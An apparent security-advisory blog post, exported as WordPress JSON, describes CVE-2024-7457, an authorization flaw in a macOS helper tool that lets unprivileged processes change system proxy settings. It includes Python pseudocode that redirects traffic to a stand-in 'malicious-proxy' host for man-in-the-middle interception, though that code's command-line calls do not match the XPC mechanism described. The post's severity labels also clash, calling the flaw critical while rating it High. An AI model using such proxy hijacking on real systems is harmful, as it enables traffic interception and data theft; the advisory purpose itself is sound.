{"id":63955,"date":"2025-08-10T13:41:20","date_gmt":"2025-08-10T13:41:20","guid":{"rendered":""},"modified":"2025-08-30T20:33:42","modified_gmt":"2025-08-31T02:33:42","slug":"cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/","title":{"rendered":"CVE-2024-7457: macOS Authorization Model Exploit Leading to Potential MITM Attacks<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2024-7457 is a critical vulnerability found in the ws.stash.app.mac.daemon.helper tool used on macOS systems. This vulnerability stems from an incorrect use of macOS\u2019s authorization model, potentially affecting all macOS users who have this tool installed. The implications of this vulnerability are severe as it can lead to unauthorized changes to system-wide network preferences and man-in-the-middle (MITM) attacks which can compromise the entire system and lead<\/a> to data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2024-7457
\nSeverity: High (7.8 CVSS Score)
\nAttack Vector: Local
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Unauthorized changes to system-wide network preferences, potential man-in-the-middle (MITM) attacks, system compromise<\/a>, and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

MacOS | All versions with ws.stash.app.mac.daemon.helper installed<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The ws.stash.app.mac.daemon.helper tool contains a vulnerability caused by an incorrect use of macOS\u2019s authorization<\/a> model. Instead of validating the client’s authorization reference, the helper invokes AuthorizationCopyRights() using its own privileged context (root), effectively authorizing itself rather than the client. This flawed logic allows unprivileged clients to invoke privileged operations via<\/a> XPC, including unauthorized changes to system-wide network preferences such as SOCKS, HTTP, and HTTPS proxy settings. The absence of proper code-signing checks further enables arbitrary processes to exploit this flaw, leading to man-in-the-middle (MITM) attacks through traffic redirection.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following pseudocode gives a conceptual idea of how this exploit might be utilized:<\/p>\n

# Pseudocode for exploiting CVE-2024-7457\nimport os\n# Define malicious proxy settings\nsocks_proxy = \"socks:\/\/malicious-proxy\"\nhttp_proxy = \"http:\/\/malicious-proxy\"\nhttps_proxy = \"https:\/\/malicious-proxy\"\n# Invoke privileged operations via XPC\nos.system(f\"ws.stash.app.mac.daemon.helper --set-socks-proxy {socks_proxy}\")\nos.system(f\"ws.stash.app.mac.daemon.helper --set-http-proxy {http_proxy}\")\nos.system(f\"ws.stash.app.mac.daemon.helper --set-https-proxy {https_proxy}\")<\/code><\/pre>\n
In this pseudocode example, the attacker sets malicious proxy settings using the ws.stash.app.mac.daemon.helper tool. This would allow the attacker to redirect network<\/a> traffic through their own proxy server, potentially performing a man-in-the-middle (MITM) attack.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview CVE-2024-7457 is a critical vulnerability found in the ws.stash.app.mac.daemon.helper tool used on macOS systems. This vulnerability stems from an incorrect use of macOS\u2019s authorization model, potentially affecting all macOS users who have this tool installed. The implications of this vulnerability are severe as it can lead to unauthorized changes to system-wide network preferences and […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[77],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-63955","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apple"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t